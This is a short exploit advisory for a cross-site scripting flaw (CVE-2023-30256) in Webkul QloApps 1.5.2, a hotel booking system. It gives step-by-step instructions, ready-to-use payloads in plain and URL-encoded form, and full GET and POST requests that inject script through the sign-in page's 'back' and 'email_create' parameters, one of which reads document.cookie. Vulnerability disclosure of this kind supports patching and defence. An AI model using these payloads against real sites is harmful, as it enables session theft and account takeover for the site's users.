# Exploit Title: Webkul Qloapps 1.5.2 - Cross-Site Scripting (XSS) # Date: 15 May 2023 # Exploit Author: Astik Rawat (ahrixia) # Vendor Homepage: https://qloapps.com/ # Software Link: https://github.com/webkul/hotelcommerce # Version: 1.5.2 # Tested on: Kali Linux 2022.4 # CVE : CVE-2023-30256 Description: A Cross Site Scripting (XSS) vulnerability exists in Webkul Qloapps which is a free and open-source hotel reservation & online booking system written in PHP and distributed under OSL-3.0 Licence. Steps to exploit: 1) Go to Signin page on the system. 2) There are two parameters which can be exploited via XSS - back - email_create 2.1) Insert your payload in the "back"- GET and POST Request Proof of concept (Poc): The following payload will allow you to execute XSS - Payload (Plain text): xss onfocus=alert(1) autofocus= xss Payload (URL Encoded): xss%20onfocus%3dalert(1)%20autofocus%3d%20xss Full GET Request (back): [http://localhost/hotelcommerce-1.5.2/?rand=1679996611398&controller=authentication&SubmitCreate=1&ajax=true&email_create=a&back=xss%20onfocus%3dalert(1)%20autofocus%3d%20xss&token=6c62b773f1b284ac4743871b300a0c4d] 2.2) Insert your payload in the "email_create" - POST Request Only Proof of concept (Poc): The following payload will allow you to execute XSS - Payload (Plain text): xss><img src=a onerror=alert(document.cookie)>xss Payload (URL Encoded): xss%3e%3cimg%20src%3da%20onerror%3dalert(document.cookie)%3exss POST Request (email_create) (POST REQUEST DATA ONLY): [controller=authentication&SubmitCreate=1&ajax=true&email_create=xss%3e%3cimg%20src%3da%20onerror%3dalert(document.cookie)%3exss&back=my-account&token=6c62b773f1b284ac4743871b300a0c4d]